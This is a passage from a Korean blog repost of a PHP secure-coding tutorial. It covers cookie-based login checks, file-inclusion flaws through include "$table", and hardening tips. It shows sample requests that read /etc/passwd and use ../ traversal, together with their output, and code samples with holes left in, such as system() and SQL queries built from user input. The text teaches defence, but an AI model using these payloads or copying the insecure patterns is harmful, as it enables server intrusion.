    5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
    6
    7 $conn=mysql_connect("localhost", "maildb", "mailpw");
    8 mysql_select_db("maildb", $conn);
    9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw' and mail_home'$mail_home'"));
    10
    11 if(!$temp[0])
    12 {
    13 echo "로그인 제대로 해라 니 쿠키값은 내 서버에 없는데??";
    14 exit;
    15 }
    16
    17 system("ls -al $mail_home");
    18 ?>

    물론 위 방법을 사용하기 전에 now_connect 에 mail_home 필드를 만들고,
    login 시에 mail_home 데이터를 넣는 추가 과정이 필요하겠지만 여기서의
    설명은 불필요하므로 접겠다.

    그리고, 위 방법말고 Session 을 활용하는 방법도 괜찮을 것이다.



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    15) include 사용지 주의할점, 기타 보안관련 주의할점

    이제 마지막 장이다. 웹 프로그래밍 시 잘못된 알고리즘 사용으로 인한
    취약성이나 그와 유사한 결과로 인해 일어나는 취약성은 알아보았다.
    이번 장에서는 몇가지 더 간단한 보안 취약성에 대해서 알아보고 웹
    프로그래밍과는 조금 상관이 없는 내용도 다루겠다.

    먼저 첫번째 알고리즘 취약성에 대해서 알아보자. include 함수를 알
    것이다. include 함수는 프로그래머가 지정한 특정 file 을 소스에
    포함시키는 함수이다. 예를 들어

    test.php

    <?

    include "test.txt";

    ?>

    라는 소스가 있다면 test.txt 라는 file 을 test.php 에 포함시켜서
    사용자에게 보여준다. 여기서 보통 다음과 같은 문법을 많이 쓴다.

    vul.php

    <?

    include "$table";

    /* 생략 */

    echo "<br><br>테스트 중입니다. ^^";

    ?>

    위는 보통 게시판이나 어떤 객체적인 개념이 들어가는 프로그래밍을 할 시에
    디렉토리를 따로 두어 $table 변수에 있는 것을 자동으로 include 하게 하는
    것이다.

    이 방법에 취약성이 존재한다.

    예를 들어 다음과 같은 상황이라고 하자.

    test1/header.txt 의 내용

    안녕하세요. 이것은 헤더파일입니다.

    [요청]
    http://server/vul.php?table=test1/header.txt

    [결과]
    안녕하세요. 이것은 헤더파일입니다.
    테스트 중입니다. ^^

    여기서 Cracker 는 query 를 간단히 변조함으로써 원하는 파일을 read
    할 수 있게 된다.

    [요청]
    http://server/vul.php?table=/etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    해결책을 알아 보자.

    include 할때 Cracker 가 해킹을 하기 힘들게 해야 한다.

    <?

    if(eregi("\.\.", $table))
    {
    echo "파일 이름에 .. 가 존재하면 안됩니다.";
    exit;
    }

    include "./$table";

    /* 생략 */

    echo "<br><br>테스트 중입니다. ^^";

    ?>

    첫번째 조취로 상위디렉토리로 올라가기 위한 .. 문자열을 필터링 하는
    작업과, 두번째 include 시 현재 디렉토리에서 참조하라는 지시를 하였다.

    [요청]
    http://server/vul.php?table=../../../../../../../etc/passwd

    [결과]
    파일 이름에 .. 가 존재하면 안됩니다.

    [요청]
    http://server/vul.php?table=/etc/passwd

    [결과]
    테스트 중입니다. ^^

    두번째 방법과 같이 요청을 한다면 include 하려할 파일은 .//etc/passwd
    이다. ./etc/passwd 와 .//etc/passwd 는 같다.

    그리고 open 하려할 파일이 들어있는 디렉토리에는 중요한 파일은 두지
    말도록 하자.

    이제 여러 가지 주의 사항에 대하여 알아보겠다.

    다음에서 알려주는 문제는 어쩌면 프로그래머가 신경써야할 부분이 아닐지도
    모르지만 알아두면 도움이 될 것이다.

    먼저 확장자 문제. 일반적인 test.php 와 같은 파일은 파싱을 해주기 때문에
    소스가 그대로 드러나는 일은 없다. 하지만 보통 백업용으로 만들어놓는
    확장자인 bak 등은 파싱을 하지 않기 때문에 그대로 소스가 노출될 수 있다.

    경험이 많은 Cracker 는 눈에 보이지 않는 많은 것들을 시도하게 되고
    test.bak 같은 것은 그 일부이다. 프로그래머는 이 부분에 대해서 주의를
    해야할 것이다.

    그리고 어떤 확인작업이나 인증작업시에 Client 에 전적으로 의존하려 하면
    안된다. 아직도 웹에는 Java-script 로만 확인을 하는 것이 많은데, Java
    Script 는 Cracker 임의대로 수정하거나 아니면 아예 삭제를 할 수도 있다.
    1 차적인 확인으로 Client 에서 Java-script 로 확인을 하고, 2 차적인 작업으로
    CGI 에서 또 확인을 해야만 할 것이다.

    중요한 파일을 include 할 시에 filename 을 파싱이 안되는 확장자로 하지
    말아야 한다. 만약 include 하는 파일이 database 에 연결하는 파일이라고 하고
    dbconn.inc 라면 inc 확장자는 파싱을 하지 않으니 소스코드가 그대로 노출되어
    질 것이다. dbconn.inc 대신 dbconn.php 로 대처하자. 아니면 inc 도 파싱을
    하도록 설정하자.

    위 사항과 관련하여 취약성이 존재할수도 있다. dbconn.inc 의 소스코드가 그대로
    드러나는 것을 막기 위하여 inc 도 파싱하도록 설정을 해두었는데, 정작 자료실
    에서 inc 의 upload 를 막아두지 않아 Cracker 가 서버에 침투할 수도 있다.

    그리고 cgi 가 돌아가는 확장자에 대해서 주의하여야 한다. 예를 들어 php 이면
    *.php 만이 파싱이 되는것이 아니라 php3, php4, shtml, 등이 파싱이 될 수도
    있으니 주의를 하여야 한다.

    또 index 파일을 각 디렉토리에 만들어놓아 index 파일이 없을때 디렉토리 안의
    내용을 볼수 있는 현상도 막아야 할 것이다. 아니면 웹서버 설정에 index 기능을
    사용하지 않도록 하자.

    database 연결시에 허용된 주소가 아니면 접속을 금지시켜야 할 것이다. 보통은
    localhost 에서만 접속이 가능하도록 database 를 설정하고, 규모가 큰 네트웍
    에서는 정책을 잘 설정해야 할 것이다.

    디폴트 설정에 주의하여야 한다. 많은 Cracker 는 게으른 관리자로 인해서
    바뀌지 않은 설정을 이용한다. 취약성이 안 알려져있다고 하더라도 디폴트 설정은
    바꾸는 게 좋다.

    가장 중요한 점은 최신의 보안에 대해서 귀를 기울이며 대처를 하는 것이다.
    2006/09/08 12:51 2006/09/08 12:51
    이 글에는 트랙백을 보낼 수 없습니다
    웅쓰:웅자의 상상플러스
    웅자의 상상플러스
    전체 (379)
    게임 (5)
    영화 (2)
    기타 (23)
    맛집 (5)
    영어 (2)
    대수학 (3)
    형태소 (5)
    Hacking (9)
    Linux (112)
    HTML (48)
    Application_developing (48)
    Web_developing (102)
    Window (11)
    «   2024/12   »
    1 2 3 4 5 6 7
    8 9 10 11 12 13 14
    15 16 17 18 19 20 21
    22 23 24 25 26 27 28
    29 30 31        
    1. 2016/01 (1)
    2. 2015/12 (3)
    3. 2015/10 (3)
    4. 2015/03 (2)
    5. 2015/01 (4)